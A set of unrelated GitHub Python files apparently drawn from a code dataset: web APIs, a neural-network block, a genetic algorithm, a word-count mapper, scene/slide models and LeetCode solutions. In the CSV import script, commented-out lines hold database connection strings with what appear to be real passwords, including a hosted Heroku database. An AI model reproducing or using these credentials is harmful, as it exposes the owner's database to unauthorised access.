price=detail.price,\n created_at=detail.created_at\n )\n )\n","repo_name":"Ajulll22/async-db","sub_path":"app/api/product/detail_product.py","file_name":"detail_product.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"1189808911","text":"import torch.nn as nn\nfrom layers.resnet import conv3x3\n\n\nclass PlainBlock(nn.Module):\n\n expansion = 1\n\n def __init__(self, in_channels, base_channels, stride=1, dilation=1):\n super(PlainBlock, self).__init__()\n self.stride = stride\n\n self.conv1 = conv3x3(in_channels, base_channels, stride=stride, dilation=dilation)\n self.bn1 = nn.BatchNorm2d(base_channels)\n\n self.conv2 = conv3x3(base_channels, base_channels, dilation=dilation)\n self.bn2 = nn.BatchNorm2d(base_channels)\n\n self.relu = nn.ReLU()\n\n def forward(self, x):\n\n x = self.conv1(x)\n x = self.bn1(x)\n x = self.relu(x)\n\n x = self.conv2(x)\n x = self.bn2(x)\n x = self.relu(x)\n\n return x\n","repo_name":"94mia/DeepLEGO","sub_path":"layers/dilated_resnet.py","file_name":"dilated_resnet.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"21"} +{"seq_id":"73402255094","text":"#!/usr/bin/python3\n\"\"\"mapper.py\"\"\"\n\n# Jin Kun Chai\n# Prof. Arun Bagavathi\n# CS 5123\n# Due FEB 27\n\nimport os\nimport sys\nimport re\n\n## stop words\nstop_words = {'just', 'while', 'me', 'further', 'no', 'any', 'up', \n 'whom', 'above', 'a', 'are', 'the', 'where', 'him', 'our', \n 'off', 'themselves', 'their', 'once', 'don', 'on', 'against', \n 'them', 'hers', 'after', 'will', 'himself', 'who', 'there', \n 'be', 'or', 'an', 'few', 'in', 'until', 'same', 'my', 'then', \n 'some', 'because', 'having', 'you', 'own', 'here', 'ours', 'does', \n 'he', 'below', 'she', 'only', 'out', 'again', 'most', 'its', 'his', \n 'being', 'theirs', 'been', 'is', 'ourselves', 'during', 'has', 'for', \n 'each', 'now', 'herself', 'very', 'when', 'that', 'did', 'am', 'yours', \n 'this', 'too', 'about', 'by', 'can', 'nor', 'yourselves', 'how', 'between', \n 'both', 'i', 'at', 'so', 'into', 'as', 'those', 'myself', 'but', 'should', \n 't', 'other', 'under', 'have', 'through', 'your', 'not', 'down', 'we', \n 'which', 'of', 'had', 'itself', 'yourself', 's', 'doing', 'before', \n 'what', 'do', 'and', 'her', 'to', 'all', 'from', 'than', 'these', 'more', \n 'they', 'were', 'why', 'if', 'such', 'it', 'over', 'with', 'was'}\n\n## In hadoop environment\n# for line in sys.stdin:\n# line = line.strip()\n# words = line.split()\n# for word in words:\n# print('%s\\t%s' % (word, 1))\n\n## In local environment\n# i = 0\nfilename = os.environ['./stupidInput.txt']\nprint(filename)\n\n\n# with open('./stupidInput.txt') as file:\n# for line in file:\n\n\n# ## remove all whitespace \n# line = line.strip()\n# ## split line into list based on whitespace\n# words = line.split()\n\n# ## \n# for word in words:\n# ## convert upper case to lower case\n# word = word.lower()\n# ## only keep alphabetical character\n# word = re.sub(\"[^a-zA-Z]+\", '', word)\n# ## prevent stop words from output\n# if word not in stop_words:\n# print('%s\\t%s' % (word, 1))\n# with open('stupidOutput.txt', 'a') as Ofile:\n# Ofile.write('%s\\t%s' % (word, 1))\n# Ofile.write('\\n')\n\n # i+=1\n # if i == 4:\n # break\n\n","repo_name":"JKChai/self-taught-python","sub_path":"CS5123_JinKunChai_HW2/test/mapper.avg.py","file_name":"mapper.avg.py","file_ext":"py","file_size_in_byte":2405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9031540891","text":"# @Author: Li\n# @FileName: GA_self_work.py\n# @Time: 2021/10/31 20:24\nimport math\nimport random\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\npop_size = 300 # 种群数量\nlow = -32.768 # 自变量下限\nup = 32.768 # 自变量上限\nchrom_length = 40 # 染色体长度\nepoch = 100 # 迭代次数\npc = 0.6 # 交配概率\npm = 0.01 # 变异概率\n\n\n# 种群:二维列表\n# x_y数据点:使用二维列表存储,(N, 2) 2分别代表 x 和 y\n\n# 目标函数\n# p: [x, y]\ndef fun(p: list, a=20, b=0.2, c=2 * np.pi):\n return -a * np.exp(-b * np.sqrt(sum(np.power(p, 2)) / len(p))) - np.exp(\n sum(np.cos([c * i for i in p])) / len(p)) + a + np.e\n\n\n# 绘制3D动态图\ndef draw_3D(fig, xy_data, epoch):\n # 清除当前图像\n fig.clf()\n\n plt.rcParams['font.sans-serif'] = 'SimHei'\n plt.rcParams['axes.unicode_minus'] = False\n ax = Axes3D(fig)\n X, Y = np.mgrid[-40:40:45j, -40:40:45j]\n Z = fun([X, Y])\n # 具体函数方法可用 help(function) 查看,如:help(ax.plot_surface)\n ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=plt.cm.coolwarm, alpha=0.5)\n\n x_data = []\n y_data = []\n z_data = []\n for data in xy_data:\n z_data.append(fun(data))\n x_data.append(data[0])\n y_data.append(data[1])\n\n ax.scatter3D(x_data, y_data, z_data, c='#FF00FF')\n ax.set_xlabel('X', color='b')\n ax.set_ylabel('Y', color='r')\n ax.set_zlabel('Z', color='g')\n\n plt.suptitle(f'种群数量:300 染色体长度:40 第{epoch}代', color='g')\n print('z_data: \\n', z_data)\n\n plt.pause(0.2)\n return z_data\n\n\n# 迭代完成后,绘制散点图\ndef draw2D(epoch, z_data):\n plt.figure()\n plt.rcParams['font.sans-serif'] = 'SimHei'\n plt.rcParams['axes.unicode_minus'] = False\n plt.plot(np.arange(epoch), z_data, '.', color='red')\n plt.title('ACKLEY函数优化过程')\n plt.xlabel('迭代次数')\n plt.ylabel('函数值')\n plt.show()\n\n\n# 种群初始化,编码\ndef species_origin(population_size, chromosome_len):\n # 种群二维列表,包含个体与染色体两维\n population = [[]]\n\n for i in range(population_size):\n # 染色体暂存\n temp = []\n for j in range(chromosome_len):\n # 生成由二进制数组成的染色体\n temp.append(random.randint(0, 1))\n # 染色体添加到种群中\n population.append(temp)\n # 返回种群,种群是二维列表,个体与染色体两维\n return population[1:]\n\n\n# 测试 species_origin\n# back = species_origin(2, 3)\n# print()\n\n\n# 解码,从二进制编码成十进制表现型\ndef get_decode(population: list, chromosome_len, low, up):\n part_size = chromosome_len // 2\n decode = []\n for i in range(len(population)):\n total_x = 0\n total_y = 0\n for j in range(part_size):\n total_x += population[i][j] * math.pow(2, part_size - 1 - j)\n total_y += population[i][j + part_size] * math.pow(2, part_size - 1 - j)\n # 对 total 进行映射到区间[-32.768, 32.768]\n total_x = total_x / (np.power(2, part_size) - 1) * abs(low - up) - abs(low - up) / 2\n total_y = total_y / (np.power(2, part_size) - 1) * abs(low - up) - abs(low - up) / 2\n decode.append([total_x, total_y])\n\n # 返回解码后的二维列表 点集\n return decode\n\n\n# 测试 get_decode\n# back = species_origin(2, 10)\n# encode = get_decode(back, 10)\n# print()\n\n\n# 遗传算法依据原则:适应度越高,被选择的机会越高,而适应度越低,被选择的机会越低\n# 目标函数是求最小值,因此应该是目标函数值越小,越容易选中,因此反转目标函数值,使得函数值小的适应度大\ndef get_fitness(decode, obj=fun):\n \"\"\"\n\n :param decode:\n :param obj:\n :return: 返回fitness\n \"\"\"\n # i: [x, y]\n pred = [obj(i) for i in decode]\n max_fit = np.max(pred)\n return max_fit - pred + 1e-3\n\n\ndef select(fitness, binary_population, decode, pop_size):\n \"\"\"\n 随机选择序列,使用choice函数有放回的选取\n\n :param fitness: 适应度\n :param pop_size: 种群大小\n :return: 新种群适应度,新种群基因型,新种群表现型\n \"\"\"\n idx = np.random.choice(np.arange(len(fitness)), size=pop_size, replace=True,\n p=list(fitness / np.array(fitness).sum()))\n new_population_fitess = []\n new_binary_population = []\n new_decode = []\n for i in idx:\n new_population_fitess.append(fitness[i])\n new_binary_population.append(binary_population[i])\n new_decode.append(decode[i])\n return new_population_fitess, new_binary_population, new_decode\n\n\n# 测试 cal_obj_value、select\n# back = species_origin(pop_size, chrom_length)\n# population_decode = get_decode(back, 10)\n# pred = get_fitness(population_decode, fun)\n# new_population = select(pred, pop_size)\n# print()\n\n\n# 通过随机选取基因交配点来生成交叉子代基因,交配点前的基因来自与父本基因,交配点后的基因来自与母本基因\n# 变异通常是将交叉子代中的某一基��发生随机改变,通常是直接改变DNA的一个二进制位(0-1)\ndef crossover_and_mutation(population, chrom_length, pop_size, pc, pm):\n \"\"\"\n\n :param population: 种群\n :param pop_size: 种群规模\n :param pc: 交叉概率\n :param pm: 变异概率\n :return: 新种群\n \"\"\"\n origin_population = population.copy()\n child_population = []\n for index, father in enumerate(population):\n child = father.copy()\n if np.random.rand() < pc:\n # print(f'第{index}个索引交叉')\n new_select = np.random.randint(pop_size)\n while index == new_select:\n new_select = np.random.randint(pop_size)\n mother = list(origin_population[new_select])\n cross_points = np.random.randint(0, chrom_length)\n child[cross_points:] = mother[cross_points:]\n child = mutate(child, pm)\n child_population.append(child)\n for i in child_population:\n origin_population.append(i)\n\n return origin_population\n\n\n# 变异操作\ndef mutate(child, pm):\n if np.random.rand() < pm:\n # 随机产生变异索引\n mutate_index = np.random.randint(0, chrom_length)\n # print(f'第{mutate_index}个索引变异')\n # 变异点二进制反转\n child[mutate_index] = child[mutate_index] ^ 1\n return child\n return child\n\n\n# 测试 crossover_and_mutation\n# origin = species_origin(4, 10)\n# origin2 = crossover_and_mutation(origin, 4, pc, pm)\n# decode = get_decode(back, 10)\n# fitness, new_select = get_fitness_and_select(encode, fn, pop_size)\n# new_population = crossover_and_mutation(pre, pop_size, pc, pm)\n# print()\n\ndef train(binary_population, chrom_length, epoch, pc, pm, low, up):\n global epoch_xy_population\n z_data = []\n fig = plt.figure()\n # 打开交互模式\n plt.ion()\n for i in range(epoch):\n print(f'第{i}次迭代')\n\n # binary_population decode fitness 顺序一一对应\n # 解码,二进制转为十进制,并映射到指定区间 (1000,2)\n decode = get_decode(binary_population, chrom_length, low, up)\n # 计算表现型适应度\n fitness = get_fitness(decode, fun)\n # 根据适应度概率选择新的种群\n new_population_fitness, binary_population, epoch_xy_population = select(fitness, binary_population, decode,\n pop_size)\n # 交叉和变异\n binary_population = crossover_and_mutation(binary_population, chrom_length, pop_size, pc, pm)\n\n z_epoch = draw_3D(fig, epoch_xy_population, i)\n z_data.append(z_epoch)\n print('x_y坐标: \\n', epoch_xy_population)\n\n # 关闭交互模式\n plt.ioff()\n plt.show()\n\n return epoch_xy_population, z_data\n\n\nif __name__ == '__main__':\n population = species_origin(pop_size, chrom_length)\n last_x_y, z_data = train(population, chrom_length, epoch, pc, pm, low, up)\n draw2D(epoch, z_data)\n print('最终结果: \\n', last_x_y)\n","repo_name":"lwh104/GA","sub_path":"GA_self_work.py","file_name":"GA_self_work.py","file_ext":"py","file_size_in_byte":8202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38358510002","text":"\"\"\"Slide object holding scene info and annotations\"\"\"\nfrom collections import OrderedDict\n\nfrom lfview.resources import files, spatial\nimport properties\n\nfrom .scene import Scene\n\n\nclass _BaseSlideComponent(properties.HasProperties):\n \"\"\"Base class for all slide components\"\"\"\n _REGISTRY = OrderedDict()\n\n\nclass _BaseAnnotation(_BaseSlideComponent):\n \"\"\"Base class for all annotations\"\"\"\n uid = properties.String('Locally unique ID from client', required=False)\n position = properties.List(\n 'Location of annotation on slide plane',\n properties.Float(''),\n min_length=2,\n max_length=2,\n )\n color = properties.Color('Annotation color')\n\n\nclass AnnotationText(_BaseAnnotation):\n \"\"\"Text comment at a position on a slide\"\"\"\n comment = spatial.base.ShortString('Text comment', max_length=5000)\n\n\nclass AnnotationInk(_BaseAnnotation):\n \"\"\"Pen-drawn annotation on a slide\"\"\"\n path = properties.List(\n 'Ink path vertices, relative to position',\n properties.List('', properties.Float(''), min_length=2, max_length=2),\n max_length=2000,\n )\n\n\nclass DrawingPlane(_BaseSlideComponent):\n \"\"\"2D drawing plane of the slide\"\"\"\n origin = properties.Vector3('Origin of drawing plane')\n axis_u = properties.Vector3('Horizontal axis of drawing plane')\n axis_v = properties.Vector3('Vertical axis of drawing plane')\n\n\nclass _BaseCollaborationModel(files.base._BaseUIDModel):\n \"\"\"Base class for collaboration objects exposed in the API\"\"\"\n _REGISTRY = OrderedDict()\n\n\nclass Slide(_BaseCollaborationModel, spatial.base._BaseResource):\n \"\"\"Slides provide a snapshot of a 3D scene\n\n They also provide a canvas for annotating the scene. By creating\n several slides, you can tell a story around your 3D data.\n \"\"\"\n BASE_TYPE = 'slides'\n\n scene = spatial.base.InstanceSnapshot(\n 'Current state of the 3D scene',\n instance_class=Scene,\n )\n annotation_plane = spatial.base.InstanceSnapshot(\n 'Drawing plane for annotations perpendicular to line of sight',\n instance_class=DrawingPlane,\n )\n annotations = properties.List(\n 'List of annotations on the scene',\n properties.Union(\n '',\n props=[\n spatial.base.InstanceSnapshot('', AnnotationText),\n spatial.base.InstanceSnapshot('', AnnotationInk),\n ],\n ),\n max_length=30,\n default=list,\n )\n\n\nclass Feedback(_BaseCollaborationModel):\n \"\"\"Feedback allow others to respond slides and other feedback\n\n For now, these are only text comments.\n \"\"\"\n BASE_TYPE = 'feedback'\n\n comment = spatial.base.ShortString(\n 'A comment in response to a slide',\n max_length=5000,\n )\n","repo_name":"seequent/lfview-resources-scene","sub_path":"lfview/resources/scene/slide.py","file_name":"slide.py","file_ext":"py","file_size_in_byte":2772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71099417652","text":"from fastapi import FastAPI, Request, Depends, HTTPException\nfrom fastapi.templating import Jinja2Templates\nfrom fastapi.staticfiles import StaticFiles\nfrom pydantic import BaseModel\nimport json\n\nimport random\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import update\nimport random\n\nimport models\nfrom databases import engine, SessionLocal\n\nmodels.Base.metadata.create_all(bind =engine)\n\ndef get_db():\n db = SessionLocal()\n try: \n yield db\n finally: \n db.close()\n\napp = FastAPI()\napp.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\")\n\nclass Todo(BaseModel):\n task: str \n due_date:str\n complete:bool = False\n\ntemplate = Jinja2Templates(directory='templates')\n\n@app.get('/')\nasync def root(request: Request,db: Session = Depends(get_db)):\n\n tasks = db.query(models.TaskQue).all()\n\n # Transform the tasks into a list of dictionaries\n task_list = [{'id': task.task_id,'task': task.String_Todo, 'due_date': task.due_date, 'complete': task.complete} for task in tasks]\n\n context = {\n 'request': request, \n 'String': task_list\n }\n return template.TemplateResponse(\"base.html\", context)\n\n@app.post(\"/add_todos/\")\nasync def input_Todo(todo: Todo, db: Session = Depends(get_db)):\n taskEntry = models.TaskQue(\n String_Todo = todo.task,\n due_date = todo.due_date \n )\n db.add(taskEntry)\n db.commit()\n return {'message': \"Completed\"} \n\n@app.get(\"/todo/{taskinpu}\") \nasync def get_todo(taskinpu: str, db: Session = Depends(get_db)):\n return db.query(models.TaskQue).filter(models.TaskQue.String_Todo == taskinpu).first()\n\n@app.put(\"/complete/{task_id}\")\nasync def complete_todo(task_id: int,db: Session = Depends(get_db)):\n change_complete = db.query(models.TaskQue).filter(models.TaskQue.task_id == task_id).update({\"complete\": True})\n\n if change_complete == None:\n raise HTTPException(status_code=404, detail=\"Task not found\")\n\n db.commit()\n return {\"Does it work?\": \"Maybe\"}\n\n\n@app.delete('/delete/{task_id}')\nasync def delete_tas(task_id: int,db: Session = Depends(get_db)):\n change_complete = db.query(models.TaskQue).filter(models.TaskQue.task_id == task_id).delete()\n\n if change_complete == None:\n raise HTTPException(status_code=404, detail=\"Task not found\")\n\n db.commit()\n return{\"message\":\"Deleted\"}\n\n@app.delete('/delete')\nasync def delete_tas(db: Session = Depends(get_db)):\n change_complete = db.query(models.TaskQue).delete()\n\n if change_complete == None:\n raise HTTPException(status_code=404, detail=\"Task not found\")\n\n db.commit()\n return{\"message\":\"Deleted\"}","repo_name":"dugku/NewThingy","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10450736472","text":"import sys\ninput = sys.stdin.readline\n\ndef sol():\n string = input().strip()\n target = \"PPAP\"\n lt = len(target)\n stack = []\n\n for i in string:\n if i == \"P\":\n stack.append(\"P\")\n if len(stack) >= lt and \"\".join(stack[-lt:]) == target:\n del stack[-lt:]\n stack.append(\"P\")\n else:\n stack.append(i)\n\n if \"\".join(stack) == \"P\":\n print(\"PPAP\")\n else:\n print(\"NP\")\n\nsol()\n","repo_name":"inkyu0103/BOJ","sub_path":"DataStructure/16120.py","file_name":"16120.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28073867976","text":"import csv\r\nimport os\r\n\r\nfrom sqlalchemy import create_engine\r\nfrom sqlalchemy.orm import scoped_session, sessionmaker\r\n\r\nengine = create_engine(os.getenv(\"DATABASE_URL_BOOK_REVIEWS\"))\r\n\r\n#engine = create_engine(\"postgres://postgres:sparkyman173@127.0.0.1:5432/book_review\")\r\n#engine = create_engine(\"postgres://crhbfecjtgmrgq:8161b1edd8331f4d286fa058856318c9ce67379d22ea0bd28d921b4e615163a5@ec2-18-214-211-47.compute-1.amazonaws.com:5432/d7j2ftublem89d\")\r\ndb = scoped_session(sessionmaker(bind=engine))\r\n\r\ndef main():\r\n f = open(\"books.csv\")\r\n reader = csv.reader(f)\r\n print(\"hai before loop\")\r\n for isbn, title, author, year in reader:\r\n \r\n db.execute(\"INSERT INTO books (isbn, title, author, year) VALUES (:isbn, :title, :author, :year)\",\r\n {\"isbn\": isbn, \"title\": title, \"author\": author, \"year\": year})\r\n print(f\"Added book with isn {isbn} called {title} by {author} written in {year}\")\r\n print (\"survived\")\r\n db.commit()\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"jhan6501/book_reviews","sub_path":"import.py","file_name":"import.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10081208398","text":"# encoding=utf8\n\n'''\n65. 有效数字\n验证给定的字符串是否可以解释为十进制数字。\n\n例如:\n\n\"0\" => true\n\" 0.1 \" => true\n\"abc\" => false\n\"1 a\" => false\n\"2e10\" => true\n\" -90e3 \" => true\n\" 1e\" => false\n\"e3\" => false\n\" 6e-1\" => true\n\" 99e2.5 \" => false\n\"53.5e93\" => true\n\" --6 \" => false\n\"-+3\" => false\n\"95a54e53\" => false\n\n说明: 我们有意将问题陈述地比较模糊。在实现代码之前,你应当事先思考所有可能的情况。这里给出一份可能存在于有效十进制数字中的字符列表:\n\n数字 0-9\n指数 - \"e\"\n正/负号 - \"+\"/\"-\"\n小数点 - \".\"\n当然,在输入中,这些字符的上下文也很重要。\n\n更新于 2015-02-10:\nC++函数的形式已经更新了。如果你仍然看见你的函数接收 const char * 类型的参数,请点击重载按钮重置你的代码。\n\n65. Valid Number\nValidate if a given string can be interpreted as a decimal number.\n\nSome examples:\n\"0\" => true\n\" 0.1 \" => true\n\"abc\" => false\n\"1 a\" => false\n\"2e10\" => true\n\" -90e3 \" => true\n\" 1e\" => false\n\"e3\" => false\n\" 6e-1\" => true\n\" 99e2.5 \" => false\n\"53.5e93\" => true\n\" --6 \" => false\n\"-+3\" => false\n\"95a54e53\" => false\n\nNote: It is intended for the problem statement to be ambiguous. You should gather all requirements up front before implementing one. However, here is a list of characters that can be in a valid decimal number:\n\nNumbers 0-9\nExponent - \"e\"\nPositive/negative sign - \"+\"/\"-\"\nDecimal point - \".\"\nOf course, the context of these characters also matters in the input.\n\nUpdate (2015-02-10):\nThe signature of the C++ function had been updated. If you still see your function signature accepts a const char * argument, please click the reload button to reset your code definition.\n'''\n\nimport re\n\n\nclass Solution(object):\n def isNumber(self, s):\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n try:\n float(s)\n return True\n except:\n return False\n # return bool(re.match(r\"[+-]?([0-9]+|[\\.]?[0-9]*)([0-9]+|[\\.]?[0-9]+[e]?[+-]?[0-9]*)\", str(s).strip()))\n\n\nclass Solution1(object):\n def isNumber(self, s):\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n # \"-1E-16\"\n return bool(re.match(r\"^[-+]?(\\.\\d+|\\d+\\.?\\d*)([eE][-+]?\\d+)?$\", s.strip()))\n\n\n\nif __name__ == '__main__':\n s = \"123e10\"\n import string\n print(s.isnumeric())\n res = re.match(r' *[+-]?([0-9]+(\\.[0-9]*)?|\\.[0-9]+)(e[+-]?[0-9]+)? *$', s)\n print(res)\n\n demo = Solution1()\n for s in [\"+100\", \"5e2\", \"-123\", \"3.1416\", \"0123\", \"-1E-16\", \" \", \"12e\", \"1a3.14\", \"1.2.3\", \"+-5\", \"12e+5.4\"]:\n print(s, demo.isNumber(s))\n\n \nclass Solution(object):\n def isNumber(self, s):\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n s = s.strip()\n met_dot = met_e = met_digit = False\n for i, char in enumerate(s):\n if char in ('+', '-'):\n if i > 0 and s[i-1] != 'e' and s[i-1] != 'E':\n return False\n elif char == '.':\n if met_dot or met_e: \n return False\n met_dot = True\n elif char == 'e' or char == 'E':\n if met_e or not met_digit:\n return False\n met_e, met_digit = True, False # e后必须接,所以这时重置met_digit为False,以免e为最后一个char\n elif char.isdigit():\n met_digit = True\n else:\n return False\n return met_digit\n\n# solution\n\n'''\n方法一:确定有限状态自动机\n预备知识\n\n确定有限状态自动机(以下简称“自动机”)是一类计算模型。它包含一系列状态,这些状态中:\n\n有一个特殊的状态,被称作“初始状态”。\n还有一系列状态被称为“接受状态”,它们组成了一个特殊的集合。其中,一个状态可能既是“初始状态”,也是“接受状态”。\n起初,这个自动机处于“初始状态”。随后,它顺序地读取字符串中的每一个字符,并根据当前状态和读入的字符,按照某个事先约定好的“转移规则”,从当前状态转移到下一个状态;当状态转移完成后,它就读取下一个字符。当字符串全部读取完毕后,如果自动机处于某个“接受状态”,则判定该字符串“被接受”;否则,判定该字符串“被拒绝”。\n\n注意:如果输入的过程中某一步转移失败了,即不存在对应的“转移规则”,此时计算将提前中止。在这种情况下我们也判定该字符串“被拒绝”。\n\n一个自动机,总能够回答某种形式的“对于给定的输入字符串 S,判断其是否满足条件 P”的问题。在本题中,条件 P 即为“构成合法的表示数值的字符串”。\n\n自动机驱动的编程,可以被看做一种暴力枚举方法的延伸:它穷尽了在任何一种情况下,对应任何的输入,需要做的事情。\n\n自动机在计算机科学领域有着广泛的应用。在算法领域,它与大名鼎鼎的字符串查找算法“KMP”算法有着密切的关联;在工程领域,它是实现“正则表达式”的基础。\n\n问题描述\n\n在 C++ 文档 中,描述了一个合法的数值字符串应当具有的格式。具体而言,它包含以下部分:\n\n符号位,即 ++、-− 两种符号\n整数部分,即由若干字符 0-90−9 组成的字符串\n小数点\n小数部分,其构成与整数部分相同\n指数部分,其中包含开头的字符 \\text{e}e(大写小写均可)、可选的符号位,和整数部分\n相比于 C++ 文档而言,本题还有一点额外的不同,即允许字符串首末两端有一些额外的空格。\n\n在上面描述的五个部分中,每个部分都不是必需的,但也受一些额外规则的制约,如:\n\n如果符号位存在,其后面必须跟着数字或小数点。\n小数点的前后两侧,至少有一侧是数字。\n思路与算法\n\n根据上面的描述,现在可以定义自动机的“状态集合”了。那么怎么挖掘出所有可能的状态呢?一个常用的技巧是,用“当前处理到字符串的哪个部分”当作状态的表述。根据这一技巧,不难挖掘出所有状态:\n\n起始的空格\n符号位\n整数部分\n左侧有整数的小数点\n左侧无整数的小数点(根据前面的第二条额外规则,需要对左侧有无整数的两种小数点做区分)\n小数部分\n字符 \\text{e}e\n指数部分的符号位\n指数部分的整数部分\n末尾的空格\n下一步是找出“初始状态”和“接受状态”的集合。根据题意,“初始状态”应当为状态 1,而“接受状态”的集合则为状态 3、状态 4、状态 6、状态 9 以及状态 10。换言之,字符串的末尾要么是空格,要么是数字,要么是小数点,但前提是小数点的前面有数字。\n\n最后,需要定义“转移规则”。结合数值字符串应当具备的格式,将自动机转移的过程以图解的方式表示出来:\n\n\n\n比较上图与“预备知识”一节中对自动机的描述,可以看出有一点不同:\n\n我们没有单独地考虑每种字符,而是划分为若干类。由于全部 1010 个数字字符彼此之间都等价,因此只需定义一种统一的“数字”类型即可。对于正负号也是同理。\n在实际代码中,我们需要处理转移失败的情况。例如当位于状态 1(起始空格)时,没有对应字符 \\text{e}e 的状态。为了处理这种情况,我们可以创建一个特殊的拒绝状态。如果当前状态下没有对应读入字符的“转移规则”,我们就转移到这个特殊的拒绝状态。一旦自动机转移到这个特殊状态,我们就可以立即判定该字符串不“被接受”。\n\n代码\n\n可以很简单地将上面的状态转移图翻译成代码:\n\nC++JavaGolangCPython3\n\nfrom enum import Enum\n\nclass Solution:\n def isNumber(self, s: str) -> bool:\n State = Enum(\"State\", [\n \"STATE_INITIAL\",\n \"STATE_INT_SIGN\",\n \"STATE_INTEGER\",\n \"STATE_POINT\",\n \"STATE_POINT_WITHOUT_INT\",\n \"STATE_FRACTION\",\n \"STATE_EXP\",\n \"STATE_EXP_SIGN\",\n \"STATE_EXP_NUMBER\",\n \"STATE_END\",\n ])\n Chartype = Enum(\"Chartype\", [\n \"CHAR_NUMBER\",\n \"CHAR_EXP\",\n \"CHAR_POINT\",\n \"CHAR_SIGN\",\n \"CHAR_SPACE\",\n \"CHAR_ILLEGAL\",\n ])\n\n def toChartype(ch: str) -> Chartype:\n if ch.isdigit():\n return Chartype.CHAR_NUMBER\n elif ch.lower() == \"e\":\n return Chartype.CHAR_EXP\n elif ch == \".\":\n return Chartype.CHAR_POINT\n elif ch == \"+\" or ch == \"-\":\n return Chartype.CHAR_SIGN\n elif ch == \" \":\n return Chartype.CHAR_SPACE\n else:\n return Chartype.CHAR_ILLEGAL\n \n transfer = {\n State.STATE_INITIAL: {\n Chartype.CHAR_SPACE: State.STATE_INITIAL,\n Chartype.CHAR_NUMBER: State.STATE_INTEGER,\n Chartype.CHAR_POINT: State.STATE_POINT_WITHOUT_INT,\n Chartype.CHAR_SIGN: State.STATE_INT_SIGN,\n },\n State.STATE_INT_SIGN: {\n Chartype.CHAR_NUMBER: State.STATE_INTEGER,\n Chartype.CHAR_POINT: State.STATE_POINT_WITHOUT_INT,\n },\n State.STATE_INTEGER: {\n Chartype.CHAR_NUMBER: State.STATE_INTEGER,\n Chartype.CHAR_EXP: State.STATE_EXP,\n Chartype.CHAR_POINT: State.STATE_POINT,\n Chartype.CHAR_SPACE: State.STATE_END,\n },\n State.STATE_POINT: {\n Chartype.CHAR_NUMBER: State.STATE_FRACTION,\n Chartype.CHAR_EXP: State.STATE_EXP,\n Chartype.CHAR_SPACE: State.STATE_END,\n },\n State.STATE_POINT_WITHOUT_INT: {\n Chartype.CHAR_NUMBER: State.STATE_FRACTION,\n },\n State.STATE_FRACTION: {\n Chartype.CHAR_NUMBER: State.STATE_FRACTION,\n Chartype.CHAR_EXP: State.STATE_EXP,\n Chartype.CHAR_SPACE: State.STATE_END,\n },\n State.STATE_EXP: {\n Chartype.CHAR_NUMBER: State.STATE_EXP_NUMBER,\n Chartype.CHAR_SIGN: State.STATE_EXP_SIGN,\n },\n State.STATE_EXP_SIGN: {\n Chartype.CHAR_NUMBER: State.STATE_EXP_NUMBER,\n },\n State.STATE_EXP_NUMBER: {\n Chartype.CHAR_NUMBER: State.STATE_EXP_NUMBER,\n Chartype.CHAR_SPACE: State.STATE_END,\n },\n State.STATE_END: {\n Chartype.CHAR_SPACE: State.STATE_END,\n },\n }\n\n st = State.STATE_INITIAL\n for ch in s:\n typ = toChartype(ch)\n if typ not in transfer[st]:\n return False\n st = transfer[st][typ]\n \n return st in [State.STATE_INTEGER, State.STATE_POINT, State.STATE_FRACTION, State.STATE_EXP_NUMBER, State.STATE_END]\n复杂度分析\n\n时间复杂度:O(N)O(N),其中 NN 为字符串的长度。我们需要遍历字符串的每个字符,其中状态转移所需的时间复杂度为 O(1)O(1)。\n空间复杂度:O(1)O(1)。只需要创建固定大小的状态转移表。\n\n作者:LeetCode-Solution\n链接:https://leetcode-cn.com/problems/biao-shi-shu-zhi-de-zi-fu-chuan-lcof/solution/biao-shi-shu-zhi-de-zi-fu-chuan-by-leetcode-soluti/\n来源:力扣(LeetCode)\n著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。\n'''\n\n\n'''\n方法一:逻辑判断法\n使用3个标志位met_dot, met_e, met_digit来分别标记是否遇到了“.”,“e/E”和任何0-9的数字。\n当然首先要去掉首位的空格。\n\n代码\nclass Solution:\n def isNumber(self, s: str) -> bool:\n s = s.strip()\n met_dot = met_e = met_digit = False\n for i, char in enumerate(s):\n if char in ('+', '-'):\n if i > 0 and s[i-1] != 'e' and s[i-1] != 'E':\n return False\n elif char == '.':\n if met_dot or met_e: \n return False\n met_dot = True\n elif char == 'e' or char == 'E':\n if met_e or not met_digit:\n return False\n met_e, met_digit = True, False # e后必须接,所以这时重置met_digit为False,以免e为最后一个char\n elif char.isdigit():\n met_digit = True\n else:\n return False\n return met_digit\n方法二:拆分法\n可以写成 A[.[B]][e/EC], 即有整数存在时,和无整数存在时的 